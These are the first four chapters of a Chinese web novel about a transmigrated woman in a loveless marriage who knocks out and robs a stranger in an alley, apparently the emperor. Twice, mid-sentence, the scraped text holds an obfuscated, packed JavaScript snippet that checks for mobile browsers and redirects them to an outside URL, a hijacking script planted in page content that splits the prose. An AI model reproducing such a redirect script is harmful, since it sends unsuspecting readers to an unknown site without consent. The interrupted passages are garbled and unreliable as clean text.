《再婚》 1. 第一章 将归 今天我的两只眼皮儿抽得十分厉害。 有句话叫:左眼跳财,右眼跳灾。 受过九年义务教育的现代人都觉得乃是迷信。 可我不这么认为,毕竟是从古流传至今的说法,定然经受了时间的检验,怎能简单粗暴地归结为封建迷信? 作为一个曾经的现代人,我会辩证看待问题:左眼跳财——宝贵经验;右眼跳灾——无稽之谈! 想到近日会发财暴富,我心情大好,原本沉重的脚步顿时轻快起来,须臾之间,宋家大门映入眼帘,只是远远瞧着,总觉得大门鲜亮得扎眼,似乎与今早离去之际有些不一样。 走近后一瞅,果然非我眼花,暗沉的大门重新漆了一遍,变成了显眼的朱红色,门头的牌匾也擦得焕然一新,就连两边的石狮子都瞧着比以往威武神气。 门房见我回来,赶忙迎上来,点头哈腰,殷勤替我开门,笑容比以往真诚许多。 我心中咯噔,不详之感涌上心头,进入宋府后,发现到处张灯结彩,丫鬟婆子们捧着器皿来来往往,面上欢声笑语,空气中弥漫着喜气洋洋的味道。 上次见到这般欢喜光景,还是十年前我刚嫁进宋家那阵。今天这样热闹,看来宋家真的发生了不得了的大喜事。 我叹了口气,难怪右眼不得安宁,要知道我的快乐从来都是建立在宋家的痛苦之上啊。 宋家人快乐,我自然就不痛快,仗着娘家撑腰,无论多大的喜事,他们都得藏着掖着,面上装作如丧考妣,不敢表露半分,否则我绝对会把宋家闹得鸡飞狗跳,不得安宁。 可有句老话叫三十年河东,三十年河西。我仅仅作威作福了四年,形势就发生了翻转。 娘家一夜之间树倒猢狲散,死得死,跑得跑,只剩下我侄子一根独苗,外面还有大群敌人摩拳擦掌,欲要斩草除根。 宋家倒是能人辈出,一个比一个有出息,成为京中炙手可热的门庭。 为了苟住小命,我跟侄子只能躲在宋家窝囊混饭,从此人在屋檐下不得不低头,即使再不痛快,也只能憋在心底,憋了近七年,从往日疯狂偏执的恶妇变成了如今阴阳怪气的变态。 路过正屋时,宋家三个主事人和一群管事丫鬟们围坐在一起,满面笑容地谈天说地。一派欢快的场景刺痛了我的双眼,有心作妖,奈何我早已没了当年兴风作浪的本钱,只能来个眼不见心不烦。 我沿着墙根儿,打算悄悄溜回自个儿院子时,可我那大嫂徐有凰眼神儿实在犀利,一下子就瞅见我,还嚷嚷地人尽皆知:“弟妹,你可回来了,快过来,有个关于二弟的喜讯得告诉你,你听了准高兴。” 我右眼抽得更厉害了,流传千年的经验之谈,果然几分道理,不能以封建迷信一概论之。 徐有凰口中的二弟,是我的丈夫宋珩,字少卿,相貌生得极好,号称京城第一美男,外地为官快十年了,京中妇人提起他时,还一脸陶醉。 宋珩得京中妇人惦念多年,并非光靠一张脸,才华还特出众。 出众到什么程度呢? 八年前,宋珩准备科举考试,惨遭我隔三岔五大闹一通,他几乎没时间温书,全在受气挨揍,匆匆上阵之下,没成想还能中个榜眼。 虽然宋珩中了榜眼,进入翰林任编修,但还是远不如我娘家的。 毕竟榜眼三年一个,榜眼上面还有状元,我爹可是兵部尚书,大哥更是皇帝身边红人,因此我依旧在宋家耀武扬威,宋家上下谁也不敢吭声,只得自认晦气。 由于实在受不住我的折磨,宋珩在翰林院没待多久,自求外放,带着他的真爱,火急火燎地跑到老少边穷地区当县令去了。 宋珩办事能力强,外加上面有人,虽然躲在山旮旯里,但朝廷没有埋没他的才华跟努力。每年考评都是上上,提拔得很快,基本上两年一升,时不时传个升官喜讯回来。 除了第一次消息传回时,宋家上下背着我偷偷庆祝一番,后来皆习以为常。另外家中有个一步登天的,对比之下,宋珩的升官消息再也溅不起水花了。 排除升官,宋珩还有什么鸟事称得上喜讯? 我琢磨着应该是他的真爱又给他添了一儿半女。 由于我的毒害,真爱的身体十分虚弱,导致宋珩年过而立,膝下还只有一个亲生儿子。 我越想越觉得有道理,不禁暗自得意,作出洗耳恭听状,等徐有凰一宣布,就立马表现出与有荣焉,不胜欢喜的样子。 以前老有人批评我脸上藏不住事儿,现在见了我定然要刮目相看的,苟在宋府多年,演技却有了质的飞跃,也算苦闷生活里的一点安慰了。 徐有凰没有直说,先卖了个关子,问我:“弟妹可记得二弟外出为官多少年了?” 我丈二摸不着头脑,不知她葫芦里卖得什么药,何况这么久远的事,我怎么记得清! 碍于在她手底下讨饭吃,决定给她个面子,我扳着手指开始算。 十八岁嫁进宋府,今年二十有八,成亲十年,和平处了一年多,然后闹了几年,直到六年前我娘家倒了,我才老实了下来,依稀记得宋珩跑路之时,娘家还很硬气,但我跟他已闹得天崩地裂了…… 这些年日夜过得颠倒黑白的日子,脑子退化严重,浑浑噩噩算了半天,都没理清宋珩到底走了多少年。 “七年……吧!”我懒得为宋珩动脑子,随口估了个年份儿。 徐有凰意味深长地瞟了我一眼,正欲开口,却听到“咚”地一阵钝响,我顺着声音望去,原来是婆婆王氏将茶碗重重磕在了桌面上。 我偷偷瞅了瞅四周,发现除了公公宋老爷还在淡定地喝茶之外,屋内所有人早已收了笑意,低眉敛目作鹌鹑状,连手握后院大权的徐有凰都闭口不言,不肯触王氏的霉头。 看来王氏虽然多年不插手宋家内务,可余威犹在。 我输得不冤啊。 一片安静中,王氏不咸不淡地开口:“阿珩他媳妇儿,阿珩外出为官八年了。” “——啊?”过了良久,我才意识到王氏跟我说话呢。 并非我反应慢,早在很多年前,我便与王氏势同水火了。 娘家倒台后,与王氏的斗争,我彻底败落。 作为胜利者,王氏对我那是相当不客气,要么直呼李素娥,要么索性泼妇、毒妇来代称我。 “阿珩他媳妇”,太久远的称呼了,蚌埠住啦! 我向来不惮以最大的恶意揣测王氏。自她口中所出的话,我从来要拿出做语文阅读理解的架势,反复揣摩。 只是七年跟八年有区别吗,我严重怀疑她是鸡蛋里面挑骨头。 我不敢找王氏算账,于是算到始作俑者徐有凰的头上,拿小眼神刺她:你直说不行嘛,何必给我挖坑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730416|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐有凰不动如山,对我的眼神视而不见,我仿佛一拳打在棉花上,不由气结,将这婆媳二人在内心吊捶无数次后,突然灵光一闪:莫非王氏暗示我,对宋珩关心不够? 毕竟宋珩相貌英俊有前途,而我一个破落户占着妻位,不想着报答宋家的大恩大德,连丈夫外出几年都不清楚,简直天理不容! “瞧我这脑子,不如没有呢,还是婆婆的记性好。”回过味后,我立刻一套三连,先是反思错误,接着马屁送上,最后亡羊补牢:“时间过的真快,一晃都八年了。不知相公——嘶——是不是——嘶——又长高了?” 话音刚落,宋老爷一口热茶喷了出来,四下传来阵阵憋笑声。 唉,又闹笑话了。 上一次见宋珩是五年前,那时他都二十八了,现在更是个三十三岁的老男人了。 还长高,岂不是成妖怪了? 之所以脱口就是他还长个子没,大概我是个小气之人,对吃过的亏,记性向来好。 宋珩发育时间长,二十出头的岁数还在长个子,小腿时常半夜抽筋,疼得翻来覆去,吵得我睡不着。 更可气的是,即便疼得无意识抽气了,他照样睡得香,腿是哪里舒服往哪儿伸。每次我被蹬醒,见他疼得可怜,只好忍着困意地替他揉搓腿肚子,一揉就是大半个时辰。 第二日醒来,手又酸又痛,神色萎靡。 宋珩见了,总会带着怀疑的目光倒打一耙:是不是趁他熟睡,对他做了不可描述之事…… 对于我的犯傻,王氏很生气,样子很凶恶,恨不得生吃了我,拍桌子瞪眼:“李素娥!” 这才对嘛。 刚刚那声阿珩他媳妇唬得我一愣一愣的,再说王氏心目中的阿珩媳妇一直都是她侄女儿,宋珩的真爱。 混饭的糟糠妻,哪里配当宋珩媳妇哟! 眼见王氏恢复如常,我不禁舒了口气,跟王氏的相处,这种简单粗暴的模式更合适。 王氏见此更是恼恨,捞起茶杯要往我脚边砸,一直沉默的宋老爷眼疾手快地按住了王氏,对其微微摇头。 王氏大约一口气哽在喉中,恨恨瞪我了一眼,我只能无辜地看回去。 “素娥啊!”宋老爷生怕王氏与我再度闹起来,赶忙叫住我,和颜悦色对我道:“爹知道,珩儿无知犯下大错。可如今都八年了,再大的气你也该消了。一日夫妻百日恩,你们刚成亲那会儿,感情多好,谁不说你们是神仙眷侣……” 唉,宋老爷又在老调重弹了。 我与宋珩不和,王氏觉得主因在我,成天对着我横挑鼻子竖挑眼。宋老爷饱读诗书,十分明事理,从来都认为是自己儿子的错,一直替宋珩赔礼道歉,劝我和宋珩重头开始。 问题是我读书少,没读过女四书、圣人典籍,不懂得宽仁之道,只会宽于律己,严于待人。 我非但不领情,还十分恶劣地认为:要不是你执意攀附李家,我跟宋珩哪有这段孽缘! 当然这话我只敢在心里编排,一家之主的面子还是要给的。 忍住掏耳朵的冲动,我开始默默研究墙角的大花瓶,从产地到质地,从价格到风格,将大花瓶的前生今世都分析个遍后,一道惊雷兜头劈下,炸得我差点魂飞魄散。 “蒙皇上圣恩,如今珩儿荣升户部清吏司郎中,他已动身出发,还有三、五天就到家了……” 2. 第二章 夜遇登徒子 宋珩要回来了,还三五天就到家,简直晴天霹雳! “该死的狗东西,不在外面升官发财,回来碍眼吗!”我一边喝酒,一边用最恶毒的语言,从头到脚问候宋珩,只是骂着骂着,我那混沌脑子才猛然意识到—— 那是他宋家,不是我李家,辣眼的人一直都是我呀,鸠占鹊巢久了,还真当自己是主人不成? “二奶奶,天色不早了,楼里往来之人形形色色,您孤身一人,多有不便,还请您早些回府,莫让老爷夫人担心。”正唾骂自己时,快活楼的小厮跑到桌前,恭敬地对我下了逐客令。 快活楼,天下第一楼,八百年前,大雍朝有名的美男子赵嘉仪,主持修建。 京中人人皆赞宋珩美姿仪,乃当代赵嘉仪,大约美男都是相似的,他二人确有几分神似。但依我看,宋珩的相貌远不及赵嘉仪。 赵嘉仪的英俊自成一档,我第一次见他时,只觉得他整个人如同赤阳当空,耀眼得令人眩目,那份冲击力至今记忆犹新。 由于帅得惊天动地,赵嘉仪刚出道就成为娱乐圈顶流,俘获了大批颜粉。 只是红了不到两年,他突然从银屏上消失了,网络哗然,四处流传着什么封杀、仇杀、潜规则之类的离谱消息。我当时倾向是意外,因为赵嘉仪失踪的前两天,还在跟我打电话吐槽。 赵嘉仪和养兄陆誊从小一起长大,跟我也算半个青梅竹马,遇到不顺心的事便打电话骚扰于我。 “时彤彤前几天中考成绩出来了,考了有史以来最高分——三百五,老板放我七天假,让我带着时彤彤出去玩一圈,庆祝她超常发挥。这破烂分数也好意思庆祝,想当年要不是为了艺术,我怎么着……” 我心说:“你不是因为成绩太烂,才去祸害艺术的么!” “我听陆誊说,你考得很好……你以前给时彤彤补过课,也算有份师生情,要不你陪她去吧。” 我毫不犹豫地直接拒绝。拜他所赐,时彤彤一见我就如临大敌,我才不自讨没趣呢。 “好吧……他这爸爸当得可真够轻松的,时彤彤从小到大,生活、学习样样都是我操心。上个班儿,还把我的档期、通告排得满当当,我整天忙得跟个陀螺一样,哪有精力陪她啊,生产队的驴都不带这么使唤的……” 抱怨归抱怨,赵嘉仪最后还是屈服了。毕竟时彤彤的爸爸,既是他老板又是他后爹,双重压迫,不服不行! 没想到这竟是我们最后的一通电话,没隔两天就传回二人双双失踪的消息。更离奇的是,他二人如同人间蒸发了一般,半点儿痕迹都没有留下。 成为李素娥后,我才知道原来他俩也穿了,只可惜我和陆誊不过晚到一年,便与他们隔了八百年,否则我们四人还能凑桌麻将。 我一直觉得他们这对继兄妹比我们这对养兄妹幸运,虽未成就一段姻缘,但始终不离不弃相互扶持,不似我跟陆誊互为仇敌,以至于不死不休,来到这个世上,堪堪见了一面,便再次生死相隔。 还是身穿好啊,不占因果。魂穿那是借尸还魂,要还债的。 对比我们四个穿越者的结局,我发现上天待赵嘉仪最为厚待。 赵嘉仪最终官至大雍丞相,还娶了公主,红颜若干,儿孙满堂,至今子孙繁衍,当今大周皇室都是他的嫡脉后人。 罢了,羡慕不来,还是先批评一下他的后辈们:快活楼不是你们老祖宗留给后辈的祖产么,怎么落到姓宋的手上了,不然我也不至于被一名小厮打发出来。 丢下一锭银子,我带着些许醉意,摇摇晃晃,出了快活楼,此时天空已寻不到太阳的踪迹,只留最后一抹余晖,天色的确有些晚了,若是错过了宋家的门禁,定然又没好果子吃。 为了赶时间,我特意捡了一条近道回家,这条路节省时间不假,只是需要穿过倚翠街。 我曾在那里坐诊行医近两年,闯出了不小的名声,后来宋家觉得有辱斯文,严令我不得再来此地。 今日事急从权,我将宋家的警告再次抛之脑后,来到倚翠街时,这里已经热闹起来,两边阁楼里灯火辉煌,窗上系着红绸,一群花枝招展的娇艳女子姿态撩人地倚在门首献笑。 今夜的生意似乎也格外兴隆,往来之人摩肩擦踵,甚是拥挤,我本当加紧赶路,离开这个是非之地。 只是一个接一个高大威武的小伙们从我身旁经过,回府的脚步不由慢了下来,最后通过努力回想王氏那刻薄面容,我才硬生生收回依依不舍的目光,还酸溜溜地自我安慰:这么帅还出来女票,世风日下,有貌无品,不看也罢! 正感慨间,胃里突然一阵翻涌,我赶忙钻进一条黑黢黢的小巷中,可不能当着帅小伙的面儿出丑。 待肠胃平复后,我打算离开之际,巷口进来了一个人,来人身形高挑,肩膀宽阔,几乎完全挡住了巷口透过来的光,随着他的走动,原本阴暗的小巷,更添三分幽深。 虽疑心来人不安好心,不过我倒也不惧,内心反而隐隐有一丝期待。 我并非有何特殊癖好,而是宋家生怕我闯出祸端,一直都派暗卫监视着我,美名其曰“保护”,保护了我八年,至今还未发挥过作用。 今晚终于逮着机会见识一下宋家暗卫的身手了,将来或许有用得着的那天。 因此我毫无畏惧地看着来人迎面走来,可直到来人与我仅剩几步之遥时,宋家暗卫还迟迟没有出现。 淦,莫非被哪个小妖精给迷住了? 大哥李素基十分不看好我嫁入宋家,曾有言:宋家从上到下只会表面功夫,一到关键时刻就掉链子,到时候有你受的! 李素基的警告之言再次成为现实,我不由捶胸顿足,悔不当初啊! 我本想呼救,可此地本就不是良家女子来往之所,依照那帮欢客的道德水准,多半会袖手旁观,说不定还以为是啥新鲜花样…… 思及此处,我悄悄从袖里摸出一包药粉,攥在手心里。 药粉乃我亲自配置,名为“三步倒”,吸入肺中,一分钟之内必然浑身无力,最后连话都说不出来,简直杀……咳咳咳,旅行之必备,只是制作麻烦,造价高昂,一般我是舍不得拿来用的。 距我仅有两步距离时,来人停住了步伐,我微微松了一口气,不动声色道:“这位公子劳您让一下。” 来人嘿嘿一笑,侧身斜倚在墙上,一条长腿横到对面墙壁,彻底堵住了我的去路,出言调笑:“美人儿,如此良辰美景,相逢即是缘,你我何不谈一谈诗词歌赋,聊一聊人生理想?” 听着这又土又囧的搭讪之言,我倒略略放下心来,来人虽言语猥琐,可观其行止并非穷凶极恶极之辈,充其量就是个登徒子,嘴上花花,水平还很次的那种。 正这么想着,登徒子手突然伸进怀里摸索起来,我怕其不怀好意,心又提起来,正想先下手为强,却见他摸出一团闪着荧光物件,定睛一看:好家伙,数十颗夜明珠穿成的手串,起码价值千金。 难道我左眼跳应在这里了,想当年我也有为民除害的梦想来着…… 借着微微荧光,我看清了登徒子的脸,浓眉大眼,相貌周正,隐约还有几分面善,心底生出几分异样来,还未来得及深想,只见登徒子的表情丰富起来,懊恼、怀疑、尴尬,数种情绪在他脸上轮番出现。 我苦笑,大概能猜出登徒子为何如此反应。 此世我其貌不扬,顶多称得上清秀,如今二十有八,最好的年华已过,加之做了多年的怨妇,且无心打理,倚翠街上随便拉个老鸨,样貌都胜过我三分。 当然我并非完全没有闪光点,大约常年翻墙之故,我身材特好,高挑匀称,多一分显胖,少一分则瘦,可谓是恰到好处。宋珩曾夸过:秾纤合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730417|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,婀娜多姿,平生之仅见。 他的话,十句只能信一句,此句可信。 登徒子估计瞧见了我的背影,心猿意马,迫不及待跑来勾搭,哪知道我是个背影杀手! 眼见登徒子没有瞧上我,觉得手中的药粉倒也不必浪费了,毕竟身上仅带了一包药粉,回宋家的路还有段距离,暗卫又靠不住,黑灯瞎火,谁知道还会不会再遇见不讲究的变态…… 我淡定地等着登徒子扫兴而去,哪知他不按常理出牌,竟把手中的明珠往我身前递来,看样子有要送给我的意思。 “莫非大鱼大肉吃腻了,他要换个口味儿,否则他怎么会送我明珠呢!”我微微愣住,摸了摸鬓角,自恋地想。 “拿着,我——”见我迟迟不接,登徒子不由地催促起来。 我恋恋不舍地看了一眼明珠,赶忙委婉拒绝:“公子,我并非那种人,您还是找别人吧!” 登徒子呼吸一滞,幽静的巷子中,我似乎听到了磨牙的声音,正当我疑心是不是耳鸣时,他深吸一口气,咬牙道:“你以为我是哪种人?我也并非你想得那种人,明珠给你,换你头上的金钗。” 还有这种好事?这串夜明珠足以换五十根金钗了! 我那爱财如命的小心脏不由地跳动起来,正要取下金钗给他时,突然想到一件事——近来市面上流传一种萤石,鱼目混珠冒充夜明珠,有许多人上当受骗,赔得倾家荡产。 我眯眼细瞅登徒子手里的明珠,大概先入为主,总觉得亮得不太正宗,隐隐约约带点绿芒,不由地想起了前世夜色中发绿光的廉价贴纸…… 我说天下哪有掉馅饼的好事,若非我机警,金钗就搭进去了。 我的金钗不但真金实心,还是名家打造,价格不菲,最重要此乃我自己挣钱所买,是血汗钱。 我不由失落起来:本以为是个垂涎美色的大款,没想到是个贪财的骗子! 瞅了瞅他那高大体格,我按捺住鄙夷之情,试图蒙混过关:“公子莫要开玩笑,金钗乃鎏金,不值钱的。” “哦——”他换了个姿势,收回长腿,正脸对着我,肩膀抵在墙面,左手撑在墙上,剩下一只手则把玩着夜明珠,下巴微抬,斜着眼往我身上扫了两眼,盛气凌人道:“无妨,一串明珠而已,爷家多得是。” 我认定他是个骗子,自然不肯,懒得与他扯皮,陡然生出一股要钱没有,要命一条的气势:“休想,再不让开,我要叫人了!“ “你叫吧,叫破喉咙,看有没有人来救你!”登徒子一脸无所谓,阴测测地恐吓道:“乖乖交出金钗,少吃些苦头,不然——哼!哼!哼!” 我:“……” “既然你不肯换,那借用一会儿便还你,届时少不了你的好处,再磨磨蹭蹭,我可亲自——”登徒子的嚣张气焰激怒来了我,趁着登徒子威胁之际,屏住呼吸,悄悄将药粉抖在空中。 登徒子察觉有异,鼻翼微微抽动,疑惑不解:“哪来的药香?你——” “啪嗒”萤石跌落在青石板上,发出一阵清脆的响声,登徒子的手臂僵在半空,紧接着一个踉跄,朝我扑来。 我敏捷地侧身躲过,任他摔了个狗吃屎,接着从袖中摸出一个口罩戴好,俯身拾起萤石,一把薅起他的头发,啧啧欣赏起他鼻青脸肿的样子。 或是无法相信着了我的道,又或是我竟敢如此粗暴待他,登徒子迷茫地看了我两眼后,才反应过来,怒道:“大胆!你想干什么,我要叫人了,来人——” 登徒子的气势很足,但声音却微不可查,想来“三步倒”起效果了,防身之用自然不会偷工减料,质量杠杠的! “你叫吧,叫破喉咙,看有没有人来救你!”我将关节捏得咔咔作响:“劝你还是老实些,不要做无畏挣扎,不然——嘿!嘿!嘿!” 登徒子:“……” 3. 第三章 渊源 登徒子遭我暗算,动弹不得,只能用眼神表达愤怒,眼中的怒火几欲喷涌而出,仿佛要将我活活烧死。 “年纪轻轻不学好,就你这智商还想当骗子,今日这个下场皆是你咎由自取,姑奶奶不过替天行道罢了。”我笑眯眯地拍了拍他的脸,故意恐吓他:“此乃含笑半步颠,中此药者,下半辈子只能瘫痪在床,吃喝拉撒全靠别人喽。” 登徒子听了我的话后,眼里的愤怒反而消退些,嘴角一扯,面露浓浓的鄙夷之色。 我瞧着那鄙夷的小眼神,总觉得十分熟悉,仿佛在哪里见过一般,我脑海闪过什么,可一时之间什么也没抓住。 我没有细想下去,现在有更重要的事:“三步倒”见效快,但药效过得也快,成年男子一刻钟左右即能恢复行动,多次使用后,身体还会形成抗性,最后彻底失效。 “中了“三步倒”之人,只能眼珠子转动,根本做不了表情,想不到你还能歪嘴一笑,恢复得很快嘛!”我大力戳了戳登徒子的脸:“好小子,跟姑奶奶玩虚与委蛇是吧!” 登徒子三五分钟便能恢复知觉,倒是出乎我的意料,想来不是有抗性,便是身体素质异于常人。 我不再戏弄他,继续耽误下去,说不定会阴沟里翻船,麻利地扯下登徒子的外衣、腰带,要将他嘴巴封住,手脚绑起来。 登徒子不肯束手就擒,挣扎得十分厉害,我报以老拳镇压,结果他反抗地更厉害了,只好使出一记手刀将其敲晕。 昏迷的登徒子收拾起来轻松多了,三五两下将登徒子五花大绑之后,我瘫倒在地,刚刚与他的一番纠缠,几乎耗光我的体力,打算好好歇息一番,便离开这个是非之地,却见巷口又进来一个人。 我心中一惊,担心是登徒子的同伙,连忙将萤石塞入袖中,虚扶住登徒子,做出搂抱的样子。 来人走了几步后,见到我们的样子,立刻背过身去,低咳几声:“爷,原来您在这里,您久久未归,老爷们担心您出意外,特地让我来瞧瞧,您现在可好?” 来人声音有些尖细,听起来略带几分娘气,暂且唤他娘娘腔吧。 听娘娘腔所言,登徒子还有一帮同伙等着他,果然是团伙作案! 登徒子久不开口,娘娘腔定会怀疑,气氛焦灼之际,我心中升起了一个大胆的想法:娘娘腔身材瘦弱,战斗力应该不强,先将他骗过来,将其敲晕,再溜之大吉。 虽然有些冒险,可引起那帮同伙的注意就更跑不了,到时恐怕不是一个金钗能了结的。 拿定主意后,我不再犹豫,捏着嗓子,故作惶恐道:“公子,你来得正好,这位客官不知何故,突然晕倒在地,奴家想扶他起来,可奴家力气薄,扶不动!” “什么?”娘娘腔果然大惊,声音陡然尖利起来,连爬带滚地冲了过来:“爷,您可不能出事啊,您要是出事了,小的可怎么活呀!快来人——” 我本以为娘娘腔会发现登徒子被我绑了,做好了与他搏斗的准备,结果不知是小巷太暗,还是他太过着急,娘娘腔竟然没注意到登徒子的怪异姿势,哭嚎着往他身上扑去。 趁此良机,我一脚将娘娘腔踹到了墙上,依瓢画葫芦将其敲晕。 一切顺利得不像话,完美! 我本想立刻一走了之,看了看娘娘腔,决定简单地将其手脚绑住,免得还未走远,他就中途醒来,引来其同伙…… 说干就干,大概我的动作有些粗暴,一块玉佩从娘娘腔的怀中滑出,我随手接住,一股微凉的细腻软滑之意蔓延于手心,心中不由咯噔一惊。 我虽分不清夜明珠和萤石,可宋珩喜欢玉石,以前经常拿来给我献宝,连带着我对玉石也略知一二,起码分得清好坏。 而娘娘腔的玉佩,仅凭触感,我便可以断定用的是极品玉料,绝非普通人所能拥有的。 “不要自己吓自己,说不定是他们骗来的!”我将玉佩塞回娘娘腔的怀里后,欲脚底抹油,只是为时已晚,巷外传来了密密麻麻的脚步声,夹杂着刀剑出鞘声,动作整齐划一,训练有素,听声音不下于三十人。 出去是自投罗网,不出去只能被瓮中捉鳖,我站在原地左右为难,内心苦涩:登徒子到底何方神圣,如此大的阵仗,也不知宋家保不保得住我! “往里面跑,巷子尽头有个木筐,木筐后面是狗洞,你从狗洞钻出去!”正胡思乱想着,一道尖细的声音传入耳中,我惊愕地看向依旧晕在地的娘娘腔,一时之间没有反应过来,娘娘腔却急道:“愣着干什么,快跑!” 我回过神来,摸出袖中的萤石…不,夜明珠,赶紧往巷子深处跑,借着夜明珠莹莹微光,发现前面果然有个筐。 钻出狗洞之后,我用袖子蒙住脸,闷头往前跑,后面有人大喊着追了上来,突然喊打喊杀的声音戛然而止,取而代之一顿骂娘。 我回头一看,乐不可吱,原来头一个追兵体型过大,卡在了狗洞,堵住了后面追兵的前路。趁此良机,我加快速度,拐进另一条巷子,使出洪荒之力,飞奔而去。 绕了几圈后,确认摆脱追兵之后,翻进一家民房,偷了一身男装换上,将自己身上的衣服,一把火烧了个干净,一切处理妥当之后,我大摇大摆地出现在万家坊的百花井巷。 百花井巷夜生活发达,著名的小吃一条街,各类吃食应有尽有,往来客人络绎不绝,不到二更宵禁,热闹不散。尽头有条护城河绕过,河里放满了花灯,烛火明灭,波光荡漾,看起来美不胜收。 我溜到河边,趁无人注意,掏出夜明珠,打算丢入河中,来个毁尸灭迹,可事到临头,又鬼使神差地收了回来。 登徒子瞧着始终有几分面善,我又是京城“知名”人士,我不记得他,他未必不认得我。若东窗事发,或可带着夜明珠上门赔罪…… 娘娘咳……那后来之人也不知与我有何交集,身为登徒子的下属,却故意放我一马。如果登徒子追究到底,也不知他会不会受我牵连…… 脑海中闪过形形色色的念头,正在犹豫不决之际,一道低沉的声音从身侧传来,“百花井巷鱼龙混杂之地,三教九流,无所不有,夜明珠袒露于外,恐会引来歹人觊觎。” 我心头一惊,连忙将夜明珠塞回袖中,顺着声音看去,来人一袭黑衣便服,身材高大,相貌极为英俊,手提一盏红灯,负手站在我右侧,正神色平静地看着我。 “大哥!” 辨认出来人身份后,我不禁大惊失色,不怪我失态,来人是宋珩的大哥宋琛,现任锦衣卫指挥使,皇帝身边的大红人,宋家的定海神针。 宋琛位高权重,每天日理万机,我遇见他的次数屈指可数,即使偶然碰见,我们仅仅点头致意,便匆匆擦肩而过。 今晚他却特意出现在我面前,看样子还等了我一会儿,也不知跟那个登徒子有没有关联……心中转过数个念头,不敢继续深想下去,若无其事地寒暄:“大哥,好巧,你也来赏灯?” 宋琛并不与我绕弯子,径直道:“圣上身边的郭公公被贼人敲晕于倚翠街暗巷,丢失明珠一串。由于事发地不体面,圣上撤回了现场的锦衣卫,命我暗中追查此事。” 我内心咯噔,怎么感觉宋琛话里话外,好像都在暗示登徒子乃当今皇帝赵旭,怀着最后一丝幻想问道:“郭公公是高个子吧?” “郭公公个子不高,圣上倒是高大挺拔,与我相仿。”宋琛打破了我的自欺欺人。 我心底哀嚎:吾命休矣,宋家这回无论如何也保不住我了! 虽然我和赵旭仅仅见过一次,但实际上却缘分不浅,孽缘的那种! 十一年前,赵旭不慎溺水,我强忍着对水的心里阴影,硬着头皮将其捞上岸。 可赵旭清醒后非但不感激我,还怒斥我为何站在岸上观望,不再第一时间跳水救人,害他溺水,伤其贵体! 瞧瞧这是人说的话嘛,从那时起,我便知他忘恩负 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我那软弱的老娘倒是出乎意料的冷静,没哭没嚎,还安慰了我几句,然后冷静地吃饭,冷静地回房,冷静地关门,等我回过神时,人就在梁上挂着了。 爹娘尸骨未寒,李素基的婆娘丢下儿子,卷了家中财产,消失得无影无踪。直到现在,我都不确定那娘们儿在哪里快活呢! 李素基死得像个英雄,却得罪了皇帝赵旭。 不过李家的男人差不多都死光了,只剩我侄儿一根独苗,赵旭不屑跟小树苗儿计较,却惦记上了李家的女人。 李素基的婆娘跑路消失,我这个李家嫁出的女儿就成了赵旭泄愤的对象。 李素基去世不到一年,赵旭以我草菅人命,毒害先帝为由,下旨将我抓进诏狱,命人严刑拷打,逼我招出幕后主使。 天杀的,我哪知道那个平平无奇的胖子就是先帝啊,我一直以为他只是个扬州土豪而已!如果时光可以倒流,我肯定不会贪图财货,用石比霜给先帝治疗白血病。 再者李家人差不多死绝了,还能有什么幕后主使,不就是想找个由头,送你亲叔叔长兴王吃牢饭么! 我偏不如赵旭的愿,拒不承认无中生有的污蔑。 因此我差点死在诏狱,还丢失了跟了我两世的金手指,从此沦为废人,失去了我最后的骄傲和依仗。 宋珩费尽九牛二虎之力将我捞出诏狱,赵旭又以我无子、善妒为由,暗示宋珩休了我,抬宋珩的真爱为正妻,还表示愿意亲自为二人主婚。 宋珩昧着良心说我贤良淑德孝顺爹娘,不肯休我,加之宋老爷求情,赵旭方善罢甘休。 大概听闻我在宋家夹着尾巴做人,于是赵旭将我抛之脑后,倒不曾再为难于我。 以赵旭睚眦必报的性情,新仇旧恨之下,我不奢望可以全身而退,只担心牵连他人,特别是放我一马的郭公公。 踌躇良久,我忐忑问道:“大哥,郭公公可还好?” 宋琛意味深长地看向我:“郭公公乃大内高手,功夫极好,行事老练,又是汪提督亲自保举之人,深得帝心,自然无事。” “那就好。” 我放下心来,这年头坏人太多,遇见一个好人不容易,实在不愿连累好人哪! “大哥,说来也巧。我逛夜市时,在路边拾了一串夜明珠,我瞧着颇贵重,劳烦你们锦衣卫帮忙寻一寻失主。”我掏出夜明珠,心虚地递给宋琛。 虽然郭公公放我一马,没有被锦衣卫抓个现行,可我知道狡辩多半无益,恐怕还会加深赵旭的怒火,所以我直接交出了罪证,希望赵旭看在我坦白从宽的份上,只惩罚我一人,不要牵扯他人。 “好。”宋琛接过夜明珠,像是什么事也没有发生过一样,抬脚往回宋家的方向走去:“就要宵禁了,弟妹该回去了。” 4. 第四章 箴言 宋琛不紧不慢地走在前面,长长的影子逶迤于地,我满腹忧愁地缀在后面,七上八下地猜测着赵旭的想法。 我死不要紧,可我还有三个小辈,特别是侄子李越青,年方十七岁,就怕赵旭收拾我的时候,顺手把他们也处理了。 到了阴曹地府,我爹我娘我哥问我怎么回事,我也不好意思说因为舍不得一枚金钗,所以我带着李越青特地下来陪你们。 宋琛收了夜明珠,一副什么事没有发生过的样子,也没有要将我绳之以法的意思,看样子似有放我一马之意? 